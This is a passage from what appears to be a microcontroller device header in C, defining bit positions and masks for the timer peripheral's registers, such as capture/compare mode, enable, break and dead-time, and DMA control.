/*!<Capture/Compare 6 interrupt Flag */ /******************* Bit definition for TIM_EGR register ********************/ #define TIM_EGR_UG_Pos (0U) #define TIM_EGR_UG_Msk (0x1U << TIM_EGR_UG_Pos) /*!< 0x00000001 */ #define TIM_EGR_UG TIM_EGR_UG_Msk /*!<Update Generation */ #define TIM_EGR_CC1G_Pos (1U) #define TIM_EGR_CC1G_Msk (0x1U << TIM_EGR_CC1G_Pos) /*!< 0x00000002 */ #define TIM_EGR_CC1G TIM_EGR_CC1G_Msk /*!<Capture/Compare 1 Generation */ #define TIM_EGR_CC2G_Pos (2U) #define TIM_EGR_CC2G_Msk (0x1U << TIM_EGR_CC2G_Pos) /*!< 0x00000004 */ #define TIM_EGR_CC2G TIM_EGR_CC2G_Msk /*!<Capture/Compare 2 Generation */ #define TIM_EGR_CC3G_Pos (3U) #define TIM_EGR_CC3G_Msk (0x1U << TIM_EGR_CC3G_Pos) /*!< 0x00000008 */ #define TIM_EGR_CC3G TIM_EGR_CC3G_Msk /*!<Capture/Compare 3 Generation */ #define TIM_EGR_CC4G_Pos (4U) #define TIM_EGR_CC4G_Msk (0x1U << TIM_EGR_CC4G_Pos) /*!< 0x00000010 */ #define TIM_EGR_CC4G TIM_EGR_CC4G_Msk /*!<Capture/Compare 4 Generation */ #define TIM_EGR_COMG_Pos (5U) #define TIM_EGR_COMG_Msk (0x1U << TIM_EGR_COMG_Pos) /*!< 0x00000020 */ #define TIM_EGR_COMG TIM_EGR_COMG_Msk /*!<Capture/Compare Control Update Generation */ #define TIM_EGR_TG_Pos (6U) #define TIM_EGR_TG_Msk (0x1U << TIM_EGR_TG_Pos) /*!< 0x00000040 */ #define TIM_EGR_TG TIM_EGR_TG_Msk /*!<Trigger Generation */ #define TIM_EGR_BG_Pos (7U) #define TIM_EGR_BG_Msk (0x1U << TIM_EGR_BG_Pos) /*!< 0x00000080 */ #define TIM_EGR_BG TIM_EGR_BG_Msk /*!<Break Generation */ #define TIM_EGR_B2G_Pos (8U) #define TIM_EGR_B2G_Msk (0x1U << TIM_EGR_B2G_Pos) /*!< 0x00000100 */ #define TIM_EGR_B2G TIM_EGR_B2G_Msk /*!<Break Generation */ /****************** Bit definition for TIM_CCMR1 register *******************/ #define TIM_CCMR1_CC1S_Pos (0U) #define TIM_CCMR1_CC1S_Msk (0x3U << TIM_CCMR1_CC1S_Pos) /*!< 0x00000003 */ #define TIM_CCMR1_CC1S TIM_CCMR1_CC1S_Msk /*!<CC1S[1:0] bits (Capture/Compare 1 Selection) */ #define TIM_CCMR1_CC1S_0 (0x1U << TIM_CCMR1_CC1S_Pos) /*!< 0x00000001 */ #define TIM_CCMR1_CC1S_1 (0x2U << TIM_CCMR1_CC1S_Pos) /*!< 0x00000002 */ #define TIM_CCMR1_OC1FE_Pos (2U) #define TIM_CCMR1_OC1FE_Msk (0x1U << TIM_CCMR1_OC1FE_Pos) /*!< 0x00000004 */ #define TIM_CCMR1_OC1FE TIM_CCMR1_OC1FE_Msk /*!<Output Compare 1 Fast enable */ #define TIM_CCMR1_OC1PE_Pos (3U) #define TIM_CCMR1_OC1PE_Msk (0x1U << TIM_CCMR1_OC1PE_Pos) /*!< 0x00000008 */ #define TIM_CCMR1_OC1PE TIM_CCMR1_OC1PE_Msk /*!<Output Compare 1 Preload enable */ #define TIM_CCMR1_OC1M_Pos (4U) #define TIM_CCMR1_OC1M_Msk (0x1007U << TIM_CCMR1_OC1M_Pos) /*!< 0x00010070 */ #define TIM_CCMR1_OC1M TIM_CCMR1_OC1M_Msk /*!<OC1M[2:0] bits (Output Compare 1 Mode) */ #define TIM_CCMR1_OC1M_0 (0x00000010U) /*!<Bit 0 */ #define TIM_CCMR1_OC1M_1 (0x00000020U) /*!<Bit 1 */ #define TIM_CCMR1_OC1M_2 (0x00000040U) /*!<Bit 2 */ #define TIM_CCMR1_OC1M_3 (0x00010000U) /*!<Bit 3 */ #define TIM_CCMR1_OC1CE_Pos (7U) #define TIM_CCMR1_OC1CE_Msk (0x1U << TIM_CCMR1_OC1CE_Pos) /*!< 0x00000080 */ #define TIM_CCMR1_OC1CE TIM_CCMR1_OC1CE_Msk /*!<Output Compare 1Clear Enable */ #define TIM_CCMR1_CC2S_Pos (8U) #define TIM_CCMR1_CC2S_Msk (0x3U << TIM_CCMR1_CC2S_Pos) /*!< 0x00000300 */ #define TIM_CCMR1_CC2S TIM_CCMR1_CC2S_Msk /*!<CC2S[1:0] bits (Capture/Compare 2 Selection) */ #define TIM_CCMR1_CC2S_0 (0x1U << TIM_CCMR1_CC2S_Pos) /*!< 0x00000100 */ #define TIM_CCMR1_CC2S_1 (0x2U << TIM_CCMR1_CC2S_Pos) /*!< 0x00000200 */ #define TIM_CCMR1_OC2FE_Pos (10U) #define TIM_CCMR1_OC2FE_Msk (0x1U << TIM_CCMR1_OC2FE_Pos) /*!< 0x00000400 */ #define TIM_CCMR1_OC2FE TIM_CCMR1_OC2FE_Msk /*!<Output Compare 2 Fast enable */ #define TIM_CCMR1_OC2PE_Pos (11U) #define TIM_CCMR1_OC2PE_Msk (0x1U << TIM_CCMR1_OC2PE_Pos) /*!< 0x00000800 */ #define TIM_CCMR1_OC2PE TIM_CCMR1_OC2PE_Msk /*!<Output Compare 2 Preload enable */ #define TIM_CCMR1_OC2M_Pos (12U) #define TIM_CCMR1_OC2M_Msk (0x1007U << TIM_CCMR1_OC2M_Pos) /*!< 0x01007000 */ #define TIM_CCMR1_OC2M TIM_CCMR1_OC2M_Msk /*!<OC2M[2:0] bits (Output Compare 2 Mode) */ #define TIM_CCMR1_OC2M_0 (0x00001000U) /*!<Bit 0 */ #define TIM_CCMR1_OC2M_1 (0x00002000U) /*!<Bit 1 */ #define TIM_CCMR1_OC2M_2 (0x00004000U) /*!<Bit 2 */ #define TIM_CCMR1_OC2M_3 (0x01000000U) /*!<Bit 3 */ #define TIM_CCMR1_OC2CE_Pos (15U) #define TIM_CCMR1_OC2CE_Msk (0x1U << TIM_CCMR1_OC2CE_Pos) /*!< 0x00008000 */ #define TIM_CCMR1_OC2CE TIM_CCMR1_OC2CE_Msk /*!<Output Compare 2 Clear Enable */ /*----------------------------------------------------------------------------*/ #define TIM_CCMR1_IC1PSC_Pos (2U) #define TIM_CCMR1_IC1PSC_Msk (0x3U << TIM_CCMR1_IC1PSC_Pos) /*!< 0x0000000C */ #define TIM_CCMR1_IC1PSC TIM_CCMR1_IC1PSC_Msk /*!<IC1PSC[1:0] bits (Input Capture 1 Prescaler) */ #define TIM_CCMR1_IC1PSC_0 (0x1U << TIM_CCMR1_IC1PSC_Pos) /*!< 0x00000004 */ #define TIM_CCMR1_IC1PSC_1 (0x2U << TIM_CCMR1_IC1PSC_Pos) /*!< 0x00000008 */ #define TIM_CCMR1_IC1F_Pos (4U) #define TIM_CCMR1_IC1F_Msk (0xFU << TIM_CCMR1_IC1F_Pos) /*!< 0x000000F0 */ #define TIM_CCMR1_IC1F TIM_CCMR1_IC1F_Msk /*!<IC1F[3:0] bits (Input Capture 1 Filter) */ #define TIM_CCMR1_IC1F_0 (0x1U << TIM_CCMR1_IC1F_Pos) /*!< 0x00000010 */ #define TIM_CCMR1_IC1F_1 (0x2U << TIM_CCMR1_IC1F_Pos) /*!< 0x00000020 */ #define TIM_CCMR1_IC1F_2 (0x4U << TIM_CCMR1_IC1F_Pos) /*!< 0x00000040 */ #define TIM_CCMR1_IC1F_3 (0x8U << TIM_CCMR1_IC1F_Pos) /*!< 0x00000080 */ #define TIM_CCMR1_IC2PSC_Pos (10U) #define TIM_CCMR1_IC2PSC_Msk (0x3U << TIM_CCMR1_IC2PSC_Pos) /*!< 0x00000C00 */ #define TIM_CCMR1_IC2PSC TIM_CCMR1_IC2PSC_Msk /*!<IC2PSC[1:0] bits (Input Capture 2 Prescaler) */ #define TIM_CCMR1_IC2PSC_0 (0x1U << TIM_CCMR1_IC2PSC_Pos) /*!< 0x00000400 */ #define TIM_CCMR1_IC2PSC_1 (0x2U << TIM_CCMR1_IC2PSC_Pos) /*!< 0x00000800 */ #define TIM_CCMR1_IC2F_Pos (12U) #define TIM_CCMR1_IC2F_Msk (0xFU << TIM_CCMR1_IC2F_Pos) /*!< 0x0000F000 */ #define TIM_CCMR1_IC2F TIM_CCMR1_IC2F_Msk /*!<IC2F[3:0] bits (Input Capture 2 Filter) */ #define TIM_CCMR1_IC2F_0 (0x1U << TIM_CCMR1_IC2F_Pos) /*!< 0x00001000 */ #define TIM_CCMR1_IC2F_1 (0x2U << TIM_CCMR1_IC2F_Pos) /*!< 0x00002000 */ #define TIM_CCMR1_IC2F_2 (0x4U << TIM_CCMR1_IC2F_Pos) /*!< 0x00004000 */ #define TIM_CCMR1_IC2F_3 (0x8U << TIM_CCMR1_IC2F_Pos) /*!< 0x00008000 */ /****************** Bit definition for TIM_CCMR2 register *******************/ #define TIM_CCMR2_CC3S_Pos (0U) #define TIM_CCMR2_CC3S_Msk (0x3U << TIM_CCMR2_CC3S_Pos) /*!< 0x00000003 */ #define TIM_CCMR2_CC3S TIM_CCMR2_CC3S_Msk /*!<CC3S[1:0] bits (Capture/Compare 3 Selection) */ #define TIM_CCMR2_CC3S_0 (0x1U << TIM_CCMR2_CC3S_Pos) /*!< 0x00000001 */ #define TIM_CCMR2_CC3S_1 (0x2U << TIM_CCMR2_CC3S_Pos) /*!< 0x00000002 */ #define TIM_CCMR2_OC3FE_Pos (2U) #define TIM_CCMR2_OC3FE_Msk (0x1U << TIM_CCMR2_OC3FE_Pos) /*!< 0x00000004 */ #define TIM_CCMR2_OC3FE TIM_CCMR2_OC3FE_Msk /*!<Output Compare 3 Fast enable */ #define TIM_CCMR2_OC3PE_Pos (3U) #define TIM_CCMR2_OC3PE_Msk (0x1U << TIM_CCMR2_OC3PE_Pos) /*!< 0x00000008 */ #define TIM_CCMR2_OC3PE TIM_CCMR2_OC3PE_Msk /*!<Output Compare 3 Preload enable */ #define TIM_CCMR2_OC3M_Pos (4U) #define TIM_CCMR2_OC3M_Msk (0x1007U << TIM_CCMR2_OC3M_Pos) /*!< 0x00010070 */ #define TIM_CCMR2_OC3M TIM_CCMR2_OC3M_Msk /*!<OC3M[2:0] bits (Output Compare 3 Mode) */ #define TIM_CCMR2_OC3M_0 (0x00000010U) /*!<Bit 0 */ #define TIM_CCMR2_OC3M_1 (0x00000020U) /*!<Bit 1 */ #define TIM_CCMR2_OC3M_2 (0x00000040U) /*!<Bit 2 */ #define TIM_CCMR2_OC3M_3 (0x00010000U) /*!<Bit 3 */ #define TIM_CCMR2_OC3CE_Pos (7U) #define TIM_CCMR2_OC3CE_Msk (0x1U << TIM_CCMR2_OC3CE_Pos) /*!< 0x00000080 */ #define TIM_CCMR2_OC3CE TIM_CCMR2_OC3CE_Msk /*!<Output Compare 3 Clear Enable */ #define TIM_CCMR2_CC4S_Pos (8U) #define TIM_CCMR2_CC4S_Msk (0x3U << TIM_CCMR2_CC4S_Pos) /*!< 0x00000300 */ #define TIM_CCMR2_CC4S TIM_CCMR2_CC4S_Msk /*!<CC4S[1:0] bits (Capture/Compare 4 Selection) */ #define TIM_CCMR2_CC4S_0 (0x1U << TIM_CCMR2_CC4S_Pos) /*!< 0x00000100 */ #define TIM_CCMR2_CC4S_1 (0x2U << TIM_CCMR2_CC4S_Pos) /*!< 0x00000200 */ #define TIM_CCMR2_OC4FE_Pos (10U) #define TIM_CCMR2_OC4FE_Msk (0x1U << TIM_CCMR2_OC4FE_Pos) /*!< 0x00000400 */ #define TIM_CCMR2_OC4FE TIM_CCMR2_OC4FE_Msk /*!<Output Compare 4 Fast enable */ #define TIM_CCMR2_OC4PE_Pos (11U) #define TIM_CCMR2_OC4PE_Msk (0x1U << TIM_CCMR2_OC4PE_Pos) /*!< 0x00000800 */ #define TIM_CCMR2_OC4PE TIM_CCMR2_OC4PE_Msk /*!<Output Compare 4 Preload enable */ #define TIM_CCMR2_OC4M_Pos (12U) #define TIM_CCMR2_OC4M_Msk (0x1007U << TIM_CCMR2_OC4M_Pos) /*!< 0x01007000 */ #define TIM_CCMR2_OC4M TIM_CCMR2_OC4M_Msk /*!<OC4M[2:0] bits (Output Compare 4 Mode) */ #define TIM_CCMR2_OC4M_0 (0x00001000U) /*!<Bit 0 */ #define TIM_CCMR2_OC4M_1 (0x00002000U) /*!<Bit 1 */ #define TIM_CCMR2_OC4M_2 (0x00004000U) /*!<Bit 2 */ #define TIM_CCMR2_OC4M_3 (0x01000000U) /*!<Bit 3 */ #define TIM_CCMR2_OC4CE_Pos (15U) #define TIM_CCMR2_OC4CE_Msk (0x1U << TIM_CCMR2_OC4CE_Pos) /*!< 0x00008000 */ #define TIM_CCMR2_OC4CE TIM_CCMR2_OC4CE_Msk /*!<Output Compare 4 Clear Enable */ /*----------------------------------------------------------------------------*/ #define TIM_CCMR2_IC3PSC_Pos (2U) #define TIM_CCMR2_IC3PSC_Msk (0x3U << TIM_CCMR2_IC3PSC_Pos) /*!< 0x0000000C */ #define TIM_CCMR2_IC3PSC TIM_CCMR2_IC3PSC_Msk /*!<IC3PSC[1:0] bits (Input Capture 3 Prescaler) */ #define TIM_CCMR2_IC3PSC_0 (0x1U << TIM_CCMR2_IC3PSC_Pos) /*!< 0x00000004 */ #define TIM_CCMR2_IC3PSC_1 (0x2U << TIM_CCMR2_IC3PSC_Pos) /*!< 0x00000008 */ #define TIM_CCMR2_IC3F_Pos (4U) #define TIM_CCMR2_IC3F_Msk (0xFU << TIM_CCMR2_IC3F_Pos) /*!< 0x000000F0 */ #define TIM_CCMR2_IC3F TIM_CCMR2_IC3F_Msk /*!<IC3F[3:0] bits (Input Capture 3 Filter) */ #define TIM_CCMR2_IC3F_0 (0x1U << TIM_CCMR2_IC3F_Pos) /*!< 0x00000010 */ #define TIM_CCMR2_IC3F_1 (0x2U << TIM_CCMR2_IC3F_Pos) /*!< 0x00000020 */ #define TIM_CCMR2_IC3F_2 (0x4U << TIM_CCMR2_IC3F_Pos) /*!< 0x00000040 */ #define TIM_CCMR2_IC3F_3 (0x8U << TIM_CCMR2_IC3F_Pos) /*!< 0x00000080 */ #define TIM_CCMR2_IC4PSC_Pos (10U) #define TIM_CCMR2_IC4PSC_Msk (0x3U << TIM_CCMR2_IC4PSC_Pos) /*!< 0x00000C00 */ #define TIM_CCMR2_IC4PSC TIM_CCMR2_IC4PSC_Msk /*!<IC4PSC[1:0] bits (Input Capture 4 Prescaler) */ #define TIM_CCMR2_IC4PSC_0 (0x1U << TIM_CCMR2_IC4PSC_Pos) /*!< 0x00000400 */ #define TIM_CCMR2_IC4PSC_1 (0x2U << TIM_CCMR2_IC4PSC_Pos) /*!< 0x00000800 */ #define TIM_CCMR2_IC4F_Pos (12U) #define TIM_CCMR2_IC4F_Msk (0xFU << TIM_CCMR2_IC4F_Pos) /*!< 0x0000F000 */ #define TIM_CCMR2_IC4F TIM_CCMR2_IC4F_Msk /*!<IC4F[3:0] bits (Input Capture 4 Filter) */ #define TIM_CCMR2_IC4F_0 (0x1U << TIM_CCMR2_IC4F_Pos) /*!< 0x00001000 */ #define TIM_CCMR2_IC4F_1 (0x2U << TIM_CCMR2_IC4F_Pos) /*!< 0x00002000 */ #define TIM_CCMR2_IC4F_2 (0x4U << TIM_CCMR2_IC4F_Pos) /*!< 0x00004000 */ #define TIM_CCMR2_IC4F_3 (0x8U << TIM_CCMR2_IC4F_Pos) /*!< 0x00008000 */ /******************* Bit definition for TIM_CCER register *******************/ #define TIM_CCER_CC1E_Pos (0U) #define TIM_CCER_CC1E_Msk (0x1U << TIM_CCER_CC1E_Pos) /*!< 0x00000001 */ #define TIM_CCER_CC1E TIM_CCER_CC1E_Msk /*!<Capture/Compare 1 output enable */ #define TIM_CCER_CC1P_Pos (1U) #define TIM_CCER_CC1P_Msk (0x1U << TIM_CCER_CC1P_Pos) /*!< 0x00000002 */ #define TIM_CCER_CC1P TIM_CCER_CC1P_Msk /*!<Capture/Compare 1 output Polarity */ #define TIM_CCER_CC1NE_Pos (2U) #define TIM_CCER_CC1NE_Msk (0x1U << TIM_CCER_CC1NE_Pos) /*!< 0x00000004 */ #define TIM_CCER_CC1NE TIM_CCER_CC1NE_Msk /*!<Capture/Compare 1 Complementary output enable */ #define TIM_CCER_CC1NP_Pos (3U) #define TIM_CCER_CC1NP_Msk (0x1U << TIM_CCER_CC1NP_Pos) /*!< 0x00000008 */ #define TIM_CCER_CC1NP TIM_CCER_CC1NP_Msk /*!<Capture/Compare 1 Complementary output Polarity */ #define TIM_CCER_CC2E_Pos (4U) #define TIM_CCER_CC2E_Msk (0x1U << TIM_CCER_CC2E_Pos) /*!< 0x00000010 */ #define TIM_CCER_CC2E TIM_CCER_CC2E_Msk /*!<Capture/Compare 2 output enable */ #define TIM_CCER_CC2P_Pos (5U) #define TIM_CCER_CC2P_Msk (0x1U << TIM_CCER_CC2P_Pos) /*!< 0x00000020 */ #define TIM_CCER_CC2P TIM_CCER_CC2P_Msk /*!<Capture/Compare 2 output Polarity */ #define TIM_CCER_CC2NE_Pos (6U) #define TIM_CCER_CC2NE_Msk (0x1U << TIM_CCER_CC2NE_Pos) /*!< 0x00000040 */ #define TIM_CCER_CC2NE TIM_CCER_CC2NE_Msk /*!<Capture/Compare 2 Complementary output enable */ #define TIM_CCER_CC2NP_Pos (7U) #define TIM_CCER_CC2NP_Msk (0x1U << TIM_CCER_CC2NP_Pos) /*!< 0x00000080 */ #define TIM_CCER_CC2NP TIM_CCER_CC2NP_Msk /*!<Capture/Compare 2 Complementary output Polarity */ #define TIM_CCER_CC3E_Pos (8U) #define TIM_CCER_CC3E_Msk (0x1U << TIM_CCER_CC3E_Pos) /*!< 0x00000100 */ #define TIM_CCER_CC3E TIM_CCER_CC3E_Msk /*!<Capture/Compare 3 output enable */ #define TIM_CCER_CC3P_Pos (9U) #define TIM_CCER_CC3P_Msk (0x1U << TIM_CCER_CC3P_Pos) /*!< 0x00000200 */ #define TIM_CCER_CC3P TIM_CCER_CC3P_Msk /*!<Capture/Compare 3 output Polarity */ #define TIM_CCER_CC3NE_Pos (10U) #define TIM_CCER_CC3NE_Msk (0x1U << TIM_CCER_CC3NE_Pos) /*!< 0x00000400 */ #define TIM_CCER_CC3NE TIM_CCER_CC3NE_Msk /*!<Capture/Compare 3 Complementary output enable */ #define TIM_CCER_CC3NP_Pos (11U) #define TIM_CCER_CC3NP_Msk (0x1U << TIM_CCER_CC3NP_Pos) /*!< 0x00000800 */ #define TIM_CCER_CC3NP TIM_CCER_CC3NP_Msk /*!<Capture/Compare 3 Complementary output Polarity */ #define TIM_CCER_CC4E_Pos (12U) #define TIM_CCER_CC4E_Msk (0x1U << TIM_CCER_CC4E_Pos) /*!< 0x00001000 */ #define TIM_CCER_CC4E TIM_CCER_CC4E_Msk /*!<Capture/Compare 4 output enable */ #define TIM_CCER_CC4P_Pos (13U) #define TIM_CCER_CC4P_Msk (0x1U << TIM_CCER_CC4P_Pos) /*!< 0x00002000 */ #define TIM_CCER_CC4P TIM_CCER_CC4P_Msk /*!<Capture/Compare 4 output Polarity */ #define TIM_CCER_CC4NP_Pos (15U) #define TIM_CCER_CC4NP_Msk (0x1U << TIM_CCER_CC4NP_Pos) /*!< 0x00008000 */ #define TIM_CCER_CC4NP TIM_CCER_CC4NP_Msk /*!<Capture/Compare 4 Complementary output Polarity */ #define TIM_CCER_CC5E_Pos (16U) #define TIM_CCER_CC5E_Msk (0x1U << TIM_CCER_CC5E_Pos) /*!< 0x00010000 */ #define TIM_CCER_CC5E TIM_CCER_CC5E_Msk /*!<Capture/Compare 5 output enable */ #define TIM_CCER_CC5P_Pos (17U) #define TIM_CCER_CC5P_Msk (0x1U << TIM_CCER_CC5P_Pos) /*!< 0x00020000 */ #define TIM_CCER_CC5P TIM_CCER_CC5P_Msk /*!<Capture/Compare 5 output Polarity */ #define TIM_CCER_CC6E_Pos (20U) #define TIM_CCER_CC6E_Msk (0x1U << TIM_CCER_CC6E_Pos) /*!< 0x00100000 */ #define TIM_CCER_CC6E TIM_CCER_CC6E_Msk /*!<Capture/Compare 6 output enable */ #define TIM_CCER_CC6P_Pos (21U) #define TIM_CCER_CC6P_Msk (0x1U << TIM_CCER_CC6P_Pos) /*!< 0x00200000 */ #define TIM_CCER_CC6P TIM_CCER_CC6P_Msk /*!<Capture/Compare 6 output Polarity */ /******************* Bit definition for TIM_CNT register ********************/ #define TIM_CNT_CNT_Pos (0U) #define TIM_CNT_CNT_Msk (0xFFFFFFFFU << TIM_CNT_CNT_Pos) /*!< 0xFFFFFFFF */ #define TIM_CNT_CNT TIM_CNT_CNT_Msk /*!<Counter Value */ #define TIM_CNT_UIFCPY_Pos (31U) #define TIM_CNT_UIFCPY_Msk (0x1U << TIM_CNT_UIFCPY_Pos) /*!< 0x80000000 */ #define TIM_CNT_UIFCPY TIM_CNT_UIFCPY_Msk /*!<Update interrupt flag copy */ /******************* Bit definition for TIM_PSC register ********************/ #define TIM_PSC_PSC_Pos (0U) #define TIM_PSC_PSC_Msk (0xFFFFU << TIM_PSC_PSC_Pos) /*!< 0x0000FFFF */ #define TIM_PSC_PSC TIM_PSC_PSC_Msk /*!<Prescaler Value */ /******************* Bit definition for TIM_ARR register ********************/ #define TIM_ARR_ARR_Pos (0U) #define TIM_ARR_ARR_Msk (0xFFFFFFFFU << TIM_ARR_ARR_Pos) /*!< 0xFFFFFFFF */ #define TIM_ARR_ARR TIM_ARR_ARR_Msk /*!<actual auto-reload Value */ /******************* Bit definition for TIM_RCR register ********************/ #define TIM_RCR_REP_Pos (0U) #define TIM_RCR_REP_Msk (0xFFFFU << TIM_RCR_REP_Pos) /*!< 0x0000FFFF */ #define TIM_RCR_REP TIM_RCR_REP_Msk /*!<Repetition Counter Value */ /******************* Bit definition for TIM_CCR1 register *******************/ #define TIM_CCR1_CCR1_Pos (0U) #define TIM_CCR1_CCR1_Msk (0xFFFFU << TIM_CCR1_CCR1_Pos) /*!< 0x0000FFFF */ #define TIM_CCR1_CCR1 TIM_CCR1_CCR1_Msk /*!<Capture/Compare 1 Value */ /******************* Bit definition for TIM_CCR2 register *******************/ #define TIM_CCR2_CCR2_Pos (0U) #define TIM_CCR2_CCR2_Msk (0xFFFFU << TIM_CCR2_CCR2_Pos) /*!< 0x0000FFFF */ #define TIM_CCR2_CCR2 TIM_CCR2_CCR2_Msk /*!<Capture/Compare 2 Value */ /******************* Bit definition for TIM_CCR3 register *******************/ #define TIM_CCR3_CCR3_Pos (0U) #define TIM_CCR3_CCR3_Msk (0xFFFFU << TIM_CCR3_CCR3_Pos) /*!< 0x0000FFFF */ #define TIM_CCR3_CCR3 TIM_CCR3_CCR3_Msk /*!<Capture/Compare 3 Value */ /******************* Bit definition for TIM_CCR4 register *******************/ #define TIM_CCR4_CCR4_Pos (0U) #define TIM_CCR4_CCR4_Msk (0xFFFFU << TIM_CCR4_CCR4_Pos) /*!< 0x0000FFFF */ #define TIM_CCR4_CCR4 TIM_CCR4_CCR4_Msk /*!<Capture/Compare 4 Value */ /******************* Bit definition for TIM_CCR5 register *******************/ #define TIM_CCR5_CCR5_Pos (0U) #define TIM_CCR5_CCR5_Msk (0xFFFFFFFFU << TIM_CCR5_CCR5_Pos) /*!< 0xFFFFFFFF */ #define TIM_CCR5_CCR5 TIM_CCR5_CCR5_Msk /*!<Capture/Compare 5 Value */ #define TIM_CCR5_GC5C1_Pos (29U) #define TIM_CCR5_GC5C1_Msk (0x1U << TIM_CCR5_GC5C1_Pos) /*!< 0x20000000 */ #define TIM_CCR5_GC5C1 TIM_CCR5_GC5C1_Msk /*!<Group Channel 5 and Channel 1 */ #define TIM_CCR5_GC5C2_Pos (30U) #define TIM_CCR5_GC5C2_Msk (0x1U << TIM_CCR5_GC5C2_Pos) /*!< 0x40000000 */ #define TIM_CCR5_GC5C2 TIM_CCR5_GC5C2_Msk /*!<Group Channel 5 and Channel 2 */ #define TIM_CCR5_GC5C3_Pos (31U) #define TIM_CCR5_GC5C3_Msk (0x1U << TIM_CCR5_GC5C3_Pos) /*!< 0x80000000 */ #define TIM_CCR5_GC5C3 TIM_CCR5_GC5C3_Msk /*!<Group Channel 5 and Channel 3 */ /******************* Bit definition for TIM_CCR6 register *******************/ #define TIM_CCR6_CCR6_Pos (0U) #define TIM_CCR6_CCR6_Msk (0xFFFFU << TIM_CCR6_CCR6_Pos) /*!< 0x0000FFFF */ #define TIM_CCR6_CCR6 TIM_CCR6_CCR6_Msk /*!<Capture/Compare 6 Value */ /******************* Bit definition for TIM_BDTR register *******************/ #define TIM_BDTR_DTG_Pos (0U) #define TIM_BDTR_DTG_Msk (0xFFU << TIM_BDTR_DTG_Pos) /*!< 0x000000FF */ #define TIM_BDTR_DTG TIM_BDTR_DTG_Msk /*!<DTG[0:7] bits (Dead-Time Generator set-up) */ #define TIM_BDTR_DTG_0 (0x01U << TIM_BDTR_DTG_Pos) /*!< 0x00000001 */ #define TIM_BDTR_DTG_1 (0x02U << TIM_BDTR_DTG_Pos) /*!< 0x00000002 */ #define TIM_BDTR_DTG_2 (0x04U << TIM_BDTR_DTG_Pos) /*!< 0x00000004 */ #define TIM_BDTR_DTG_3 (0x08U << TIM_BDTR_DTG_Pos) /*!< 0x00000008 */ #define TIM_BDTR_DTG_4 (0x10U << TIM_BDTR_DTG_Pos) /*!< 0x00000010 */ #define TIM_BDTR_DTG_5 (0x20U << TIM_BDTR_DTG_Pos) /*!< 0x00000020 */ #define TIM_BDTR_DTG_6 (0x40U << TIM_BDTR_DTG_Pos) /*!< 0x00000040 */ #define TIM_BDTR_DTG_7 (0x80U << TIM_BDTR_DTG_Pos) /*!< 0x00000080 */ #define TIM_BDTR_LOCK_Pos (8U) #define TIM_BDTR_LOCK_Msk (0x3U << TIM_BDTR_LOCK_Pos) /*!< 0x00000300 */ #define TIM_BDTR_LOCK TIM_BDTR_LOCK_Msk /*!<LOCK[1:0] bits (Lock Configuration) */ #define TIM_BDTR_LOCK_0 (0x1U << TIM_BDTR_LOCK_Pos) /*!< 0x00000100 */ #define TIM_BDTR_LOCK_1 (0x2U << TIM_BDTR_LOCK_Pos) /*!< 0x00000200 */ #define TIM_BDTR_OSSI_Pos (10U) #define TIM_BDTR_OSSI_Msk (0x1U << TIM_BDTR_OSSI_Pos) /*!< 0x00000400 */ #define TIM_BDTR_OSSI TIM_BDTR_OSSI_Msk /*!<Off-State Selection for Idle mode */ #define TIM_BDTR_OSSR_Pos (11U) #define TIM_BDTR_OSSR_Msk (0x1U << TIM_BDTR_OSSR_Pos) /*!< 0x00000800 */ #define TIM_BDTR_OSSR TIM_BDTR_OSSR_Msk /*!<Off-State Selection for Run mode */ #define TIM_BDTR_BKE_Pos (12U) #define TIM_BDTR_BKE_Msk (0x1U << TIM_BDTR_BKE_Pos) /*!< 0x00001000 */ #define TIM_BDTR_BKE TIM_BDTR_BKE_Msk /*!<Break enable for Break1 */ #define TIM_BDTR_BKP_Pos (13U) #define TIM_BDTR_BKP_Msk (0x1U << TIM_BDTR_BKP_Pos) /*!< 0x00002000 */ #define TIM_BDTR_BKP TIM_BDTR_BKP_Msk /*!<Break Polarity for Break1 */ #define TIM_BDTR_AOE_Pos (14U) #define TIM_BDTR_AOE_Msk (0x1U << TIM_BDTR_AOE_Pos) /*!< 0x00004000 */ #define TIM_BDTR_AOE TIM_BDTR_AOE_Msk /*!<Automatic Output enable */ #define TIM_BDTR_MOE_Pos (15U) #define TIM_BDTR_MOE_Msk (0x1U << TIM_BDTR_MOE_Pos) /*!< 0x00008000 */ #define TIM_BDTR_MOE TIM_BDTR_MOE_Msk /*!<Main Output enable */ #define TIM_BDTR_BKF_Pos (16U) #define TIM_BDTR_BKF_Msk (0xFU << TIM_BDTR_BKF_Pos) /*!< 0x000F0000 */ #define TIM_BDTR_BKF TIM_BDTR_BKF_Msk /*!<Break Filter for Break1 */ #define TIM_BDTR_BK2F_Pos (20U) #define TIM_BDTR_BK2F_Msk (0xFU << TIM_BDTR_BK2F_Pos) /*!< 0x00F00000 */ #define TIM_BDTR_BK2F TIM_BDTR_BK2F_Msk /*!<Break Filter for Break2 */ #define TIM_BDTR_BK2E_Pos (24U) #define TIM_BDTR_BK2E_Msk (0x1U << TIM_BDTR_BK2E_Pos) /*!< 0x01000000 */ #define TIM_BDTR_BK2E TIM_BDTR_BK2E_Msk /*!<Break enable for Break2 */ #define TIM_BDTR_BK2P_Pos (25U) #define TIM_BDTR_BK2P_Msk (0x1U << TIM_BDTR_BK2P_Pos) /*!< 0x02000000 */ #define TIM_BDTR_BK2P TIM_BDTR_BK2P_Msk /*!<Break Polarity for Break2 */ /******************* Bit definition for TIM_DCR register ********************/ #define TIM_DCR_DBA_Pos (0U) #define TIM_DCR_DBA_Msk (0x1FU << TIM_DCR_DBA_Pos) /*!< 0x0000001F */ #define TIM_DCR_DBA TIM_DCR_DBA_Msk /*!<DBA[4:0] bits (DMA Base Address) */ #define TIM_DCR_DBA_0 (0x01U << TIM_DCR_DBA_Pos) /*!< 0x00000001 */ #define TIM_DCR_DBA_1 (0x02U << TIM_DCR_DBA_Pos) /*!< 0x00000002 */ #define TIM_DCR_DBA_2 (0x04U << TIM_DCR_DBA_Pos) /*!< 0x00000004 */ #define TIM_DCR_DBA_3 (0x08U << TIM_DCR_DBA_Pos) /*!< 0x00000008 */ #define TIM_DCR_DBA_4 (0x10U << TIM_DCR_DBA_Pos) /*!< 0x00000010 */ #define TIM_DCR_DBL_Pos (8U) #define TIM_DCR_DBL_Msk (0x1FU << TIM_DCR_DBL_Pos) /*!< 0x00001F00 */ #define TIM_DCR_DBL TIM_DCR_DBL_Msk /*!<DBL[4:0] bits (DMA Burst Length) */ #define TIM_DCR_DBL_0 (0x01U << TIM_DCR_DBL_Pos) /*!< 0x00000100 */ #define 